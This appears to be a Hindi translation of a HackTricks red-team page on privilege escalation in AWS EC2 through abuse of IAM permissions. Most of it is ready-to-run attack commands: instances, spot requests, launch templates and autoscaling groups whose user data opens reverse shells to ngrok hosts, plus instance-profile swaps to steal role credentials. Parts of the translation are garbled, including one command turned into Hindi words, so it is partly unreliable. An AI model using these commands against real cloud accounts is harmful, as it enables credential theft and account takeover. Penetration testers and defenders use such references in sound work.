AWS - EC2 Privesc

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

EC2

अधिक EC2 के बारे में जानकारी के लिए देखें:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

एक हमलावता एक IAM रोल जोड़कर एक इंस्टेंस बना सकता है और फिर इंस्टेंस तक पहुंच सकता है ताकि IAM रोल क्रेडेंशियल्स को मेटाडेटा एंडपॉइंट से चुरा सके।

  • SSH के माध्यम से पहुंचें

एक नए इंस्टेंस को चलाएं जिसमें एक बनाया गया ssh कुंजी (--key-name) लगाया गया है और फिर उसमें ssh करें (यदि आप एक नया बनाना चाहते हैं तो आपको अनुमति ec2:CreateKeyPair हो सकती है)।

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • उपयोक्ता डेटा में रेव शैल के माध्यम से पहुंच

आप एक नए इंस्टेंस चला सकते हैं जिसमें एक उपयोक्ता डेटा (--user-data) होगा जो आपको एक रेव शैल भेजेगा। इस तरीके से आपको सुरक्षा समूह को निर्दिष्ट करने की आवश्यकता नहीं है।

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

सावधान रहें अगर आप इंस्टेंस के बाहर IAM रोल के क्रेडेंशियल का उपयोग करते हैं:

pageAWS - GuardDuty Enum

संभावित प्रभाव: मौजूदा इंस्टेंस प्रोफाइल में जुड़े किसी भी EC2 रोल की सीधी प्रिवेस्क।

ECS को प्रिवेस्क करें

इस अनुमति सेट के साथ आप भी एक EC2 इंस्टेंस बना सकते हैं और इसे एक ECS क्लस्टर के अंदर रजिस्टर कर सकते हैं। इस तरह, ECS सेवाएं उस EC2 इंस्टेंस के अंदर चलाई जाएंगी जहां आपका पहुंच है और फिर आप उन सेवाओं (डॉकर कंटेनर) में प्रवेश कर सकते हैं और उनके ECS रोल्स को चुरा सकते हैं

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

इस नए EC2 इंस्टेंस में ECS सेवाएं चलाने को मजबूर करने के लिए सीखने के लिए निम्न जांच करें:

pageAWS - ECS Privesc

अगर आप नया इंस्टेंस नहीं बना सकते हैं लेकिन आपके पास ecs:RegisterContainerInstance अनुमति है, तो आप इंस्टेंस को क्लस्टर के अंदर रजिस्टर कर सकते हैं और कमेंट किया गया हमला कर सकते हैं।

संभावित प्रभाव: ECS रोल्स जो टास्क्स से जुड़े होते हैं, को सीधे वृद्धि।

iam:PassRole, iam:AddRoleToInstanceProfile

पिछले स्थिति के समान, इन अनुमतियों के साथ एक हमलावर किसी भी कंप्रोमाइज़्ड इंस्टेंस की IAM रोल बदल सकता है ताकि वह नए क्रेडेंशियल्स चुरा सके। जैसा कि एक इंस्टेंस प्रोफ़ाइल केवल 1 रोल हो सकता है, अगर इंस्टेंस प्रोफ़ाइल पहले से ही एक रोल है (सामान्य मामला), तो आपको भी iam:RemoveRoleFromInstanceProfile की आवश्यकता होगी।

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

यदि इंस्टेंस प्रोफाइल में एक रोल है और हमलावर उसे हटा नहीं सकता, तो एक और उपाय है। वह बिना किसी रोल वाले इंस्टेंस प्रोफाइल को खोज सकता है या नया बना सकता है (iam:CreateInstanceProfile), उस इंस्टेंस प्रोफाइल में रोल जोड़ सकता है (जैसा पहले चर्चा की गई है), और कंप्रोमाइज़ किए गए इंस्टेंस को एक कंप्रोमाइज़ किए गए इंस्टेंस प्रोफाइल से जोड़ सकता है:

  • यदि इंस्टेंस के पास कोई इंस्टेंस प्रोफाइल नहीं है (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

संभावित प्रभाव: एक विभिन्न EC2 भूमिका की सीधी प्रिवेस्क (आपको एक AWS EC2 इंस्टेंस को कंप्रोमाइज़ करना होगा और कुछ अतिरिक्त अनुमति या विशेष इंस्टेंस प्रोफ़ाइल स्थिति होनी चाहिए)।

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

इन अनुमतियों के साथ एक इंस्टेंस से जुड़े प्रोफ़ाइल को बदलना संभव है, इसलिए अगर हमले को पहले से ही इंस्टेंस तक पहुंच होती है तो वह इसके साथ जुड़े अधिक इंस्टेंस प्रोफ़ाइल भूमिकाओं के लिए क्रेडेंशियल चुरा सकता है जो इसके साथ जुड़ा होता है।

  • अगर इसमें एक इंस्टेंस प्रोफ़ाइल है, तो आप इंस्टेंस प्रोफ़ाइल को हटा सकते हैं (ec2:DisassociateIamInstanceProfile) और इसे जोड़ सकते हैं *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • या बदलें करें इंस्टेंस प्रोफाइल को कंप्रोमाइज़ हुए इंस्टेंस का (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
```html
<p>आवेस ईसी 2 आईएएम इंस्टेंस प्रोफाइल एसोसिएशन को बदलें --iam-इंस्टेंस-प्रोफाइल नाम=<मान> --एसोसिएशन-आईडी <मान></p>
```
```

संभावित प्रभाव: एक विभिन्न EC2 भूमिका की सीधी प्रिवेस्क (आपको एक AWS EC2 इंस्टेंस को कंप्रोमाइज़ करना होगा और कुछ अतिरिक्त अनुमति या विशेष इंस्टेंस प्रोफ़ाइल स्थिति होनी चाहिए)।

ec2:RequestSpotInstances,iam:PassRole

एक हमलावर जिसके पास ec2:RequestSpotInstances और iam:PassRole अनुमतियाँ हैं, वह एक Spot Instance का अनुरोध कर सकता है जिसमें एक EC2 भूमिका संलग्न है और उपयोगकर्ता डेटा में एक रिवर्स शैल है। एक बार इंस्टेंस चलाया जाता है, वह IAM भूमिका चुरा सकता है

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

एक हमलावर ec2:ModifyInstanceAttribute के साथ उपयोगकर्ता उपकरण की विशेषताएँ संशोधित कर सकता है। उनमें से एक है कि वह उपयोगकर्ता डेटा को बदल सकता है, जिससे वह उपकरण को विचारशील डेटा चला सकता है। जिसका उपयोग EC2 उपकरण पर रिवर्स शैल को प्राप्त करने के लिए किया जा सकता है।

ध्यान दें कि विशेषताएँ केवल जब उपकरण बंद है तो संशोधित की जा सकती है, इसलिए अनुमतियाँ ec2:StopInstances और ec2:StartInstances होना चाहिए।

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

संभावित प्रभाव: एक निर्मित इंस्टेंस पर जुड़े किसी भी EC2 IAM रोल को सीधे वृद्धि।

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate और ec2:ModifyLaunchTemplate अनुमतियों के साथ एक हमलावर एक नया लॉन्च टेम्पलेट संस्करण बना सकता है जिसमें उपयोगकर्ता डेटा में रेव शैल हो और उस पर कोई भी EC2 IAM रोल हो, डिफ़ॉल्ट संस्करण बदल सकता है, और उस लॉन्च टेम्पलेट का उपयोग करने वाले किसी भी ऑटोस्केलर समूह को उपयोग करने के लिए कॉन्फ़िगर किया गया है जो नवीनतम या डिफ़ॉल्ट संस्करण का उपयोग करेगा और उस टेम्पलेट का उपयोग करके उस रेव शैल को चलाएगा।

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

संभावित प्रभाव: एक विभिन्न EC2 भूमिका में सीधा वृद्धि।

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

एक हमलावर जिसके पास autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole अनुमतियाँ हैं, वह एक Launch Configuration बना सकता है जिसमें एक IAM Role और एक rev shell होता है और फिर user data में इसे डाल सकता है, फिर उस कॉन्फ़िगरेशन से एक autoscaling समूह बना सकता है और फिर वहाँ तक rev shell का इंतजार कर सकता है ताकि IAM Role चुरा सके।

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

संभावित प्रभाव: एक विभिन्न EC2 भूमिका में सीधा उन्नयन।

!autoscaling

ec2:CreateLaunchTemplate और autoscaling:CreateAutoScalingGroup अनुमतियों का सेट आईएएम भूमिका में उन्नयन करने के लिए पर्याप्त नहीं है क्योंकि उन्हें लॉन्च कॉन्फ़िगरेशन या लॉन्च टेम्पलेट में निर्दिष्ट भूमिका जोड़ने के लिए आपको अनुमतियाँ iam:PassRole और ec2:RunInstances की आवश्यकता है (जो एक जाना-माना प्रिवेस्क है)।

ec2-instance-connect:SendSSHPublicKey

एक हमलावर जिसके पास अनुमति है ec2-instance-connect:SendSSHPublicKey एक एसएसएच कुंजी को एक उपयोगकर्ता के पास जोड़ सकता है और इसका उपयोग करके इसे एक्सेस करने के लिए कर सकता है (अगर उसके पास इंस्टेंस का एसएसएच एक्सेस है) या उन्नयन करने के लिए।

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

संभावित प्रभाव: चल रहे इंस्टेंसेज के साथ जुड़े EC2 IAM रोल्स में सीधा प्रिविलेज इस्केलेशन।

ec2-instance-connect:SendSerialConsoleSSHPublicKey

एक हमलावर जिसके पास अनुमति है ec2-instance-connect:SendSerialConsoleSSHPublicKey एक ssh कुंजी को एक सीरियल कनेक्शन में जोड़ सकता है। यदि सीरियल सक्षम नहीं है, तो हमलावर को इसे सक्षम करने के लिए अनुमति ec2:EnableSerialConsoleAccess की आवश्यकता है

सीरियल पोर्ट से कनेक्ट करने के लिए आपको भी मशीन के अंदर के एक उपयोगकर्ता के उपयोगकर्ता नाम और पासवर्ड पता होना चाहिए।

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

यह तरीका प्राइवेसी के लिए उपयोगी नहीं है क्योंकि इसे एक उपयोक्ता नाम और पासवर्ड की आवश्यकता होती है ताकि इसका शोध किया जा सके।

संभावित प्रभाव: (अत्यधिक अप्रमाणिक) चल रहे इंस्टेंसेज के साथ जुड़े EC2 IAM भूमिकाओं के लिए सीधा प्राइवेसी उन्नति।

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated